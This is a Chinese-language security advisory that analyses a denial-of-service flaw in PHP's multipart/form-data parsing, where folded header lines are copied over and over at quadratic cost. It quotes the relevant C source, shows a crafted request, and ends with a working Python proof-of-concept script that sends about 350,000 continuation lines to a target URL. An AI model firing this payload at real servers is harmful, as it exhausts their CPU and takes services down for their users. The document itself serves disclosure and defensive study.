作者：LiuShusheng_0_
0x00 摘要
PHP解析multipart/form-datahttp请求的body part请求头时，重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求，导致服务器CPU资源被耗尽，从而远程DOS服务器。
影响范围：
PHP所有版本
0x01 漏洞入口
PHP源码中main/ rfc1867.c负责解析multipart/form-data协议，DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。
在详细分析漏洞函数前，先分析进入漏洞函数的路径。PHP解析multipart/form-data http请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数)，代码如下。
#!c
/* Get the boundary */
boundary= strstr(content_type_dup, "boundary");
if(!boundary) {
intcontent_type_len = strlen(content_type_dup);
char*content_type_lcase = estrndup(content_type_dup, content_type_len);
php_strtolower(content_type_lcase,content_type_len);
boundary= strstr(content_type_lcase, "boundary");
if(boundary) {
boundary= content_type_dup + (boundary - content_type_lcase);
}
efree(content_type_lcase);
}
if(!boundary || !(boundary = strchr(boundary, '='))) {
sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
return;
}
boundary++;
boundary_len= strlen(boundary);
…
…
while(!multipart_buffer_eof(mbuff TSRMLS_CC))
{
charbuff[FILLUNIT];
char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
size_tblen = 0, wlen = 0;
off_toffset;
zend_llist_clean(&header);
if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
gotofileupload_done;
}
SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary，
0x02 漏洞函数multipart_buffer_headers执行逻辑
进入漏洞函数，本段先分析漏洞函数的执行逻辑，下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers函数源码如下：
#!c
/* parse headers */
static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
{
char*line;
mime_header_entryprev_entry = {0}, entry;
intprev_len, cur_len;
/*didn't find boundary, abort */
if(!find_boundary(self, self->boundary TSRMLS_CC)) {
return0;
}
/*get lines of text, or CRLF_CRLF */
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
{
/*add header to table */
char*key = line;
char*value = NULL;
if(php_rfc1867_encoding_translation(TSRMLS_C)) {
self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
}
/*space in the beginning means same header */
if(!isspace(line[0])) {
value= strchr(line, ':');
}
if(value) {
*value= 0;
do{ value++; } while(isspace(*value));
entry.value= estrdup(value);
entry.key= estrdup(key);
}else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1);
memcpy(entry.value,prev_entry.value, prev_len);
memcpy(entry.value+ prev_len, line, cur_len);
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);
}else {
continue;
}
zend_llist_add_element(header,&entry);
prev_entry= entry;
}
return1;
}
multipart_buffer_headers函数首先找boundary，如果找到boundary就执行以下代码，逐行读取请求的输入以解析body port header:
#!c
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }
当使用get_line读入一行字符，如果该行第一个字符line[0]不是空白字符, 查找line是否存在’:’。
如果line存在字符':'：
value指向':'所在的内存地址。这时if(value)条件成立，成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)存储，并使用prev_entry记录当前解析到的header，用于解析下一行。
否则，line不存在字符':'：
认为这一行的内容是上一行解析到header对应value的值，因此进行合并。合并操作执行以下代码。
#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存
memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value
memcpy(entry.value+ prev_len, line, cur_len); //把当前行作为上一行解析到header的value值，并拷贝到上一行value值得后面。
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);
首先，为了合并value重新分配内存，接着拷贝上一行解析到的value值到新分配的内容，然后把当前行的字符串作为上一行解析到header的value值，并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)删除上一行的记录。执行完后获得了新的entry，调用zend_llist_add_element(header,&entry)记录得到的header名值对(header,value)。
0x03 漏洞原理
在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符':'，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配，2次内存拷贝，1次内存释放。当value值越来越长，将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位，value的长度为m，时间复杂度为m*m.
#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);
entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存
memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝
memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝
entry.value[cur_len+ prev_len] = '\0';
entry.key= estrdup(prev_entry.key);
zend_llist_remove_tail(header);//1次内存释放
0x04 利用
构造像以下恶意的http请求，当存在350000行a\n时，在我的测试环境中，一个http请求将消耗10s的cpu时间。每隔若干秒，同时并发多个请求，将导致server端cpu资源长期耗尽，从而到达DOS。总的来说，利用方式和Hash Collision DOS一样。
------WebKitFormBoundarypE33TmSNWwsMphqz
Content-Disposition:form-data; name="file"; filename="s
a
a
a
…
…
…
a"
Content-Type:application/octet-stream
why is it?
------WebKitFormBoundarypE33TmSNWwsMphqz
0x05 POC
#!python
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: [email protected]
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
def http_proxy(proxy_url):
proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
#end http_proxy
def check_php_multipartform_dos(url,post_body,headers):
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key,headers[key])
starttime = datetime.datetime.now();
fd = urllib2.urlopen(req,post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime=(endtime - starttime).seconds
if(usetime > 5):
result = url+" is vulnerable";
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result,usetime]
#end
def main():
#http_proxy("http://127.0.0.1:8089")
parser = OptionParser()
parser.add_option("-t", "--target", action="store",
dest="target",
default=False,
type="string",
help="test target")
(options, args) = parser.parse_args()
if(options.target):
target = options.target
else:
return;
Num=350000
headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
'Accept-Encoding':'gzip, deflate',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
payload=""
for i in range(0,Num):
payload = payload + "a\n"
body = body + payload;
body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
print "starting...";
respond=check_php_multipartform_dos(target,body,headers)
print "Result : "
print respond[0]
print "Respond time : "+str(respond[1]) + " seconds";
if __name__=="__main__":
main()
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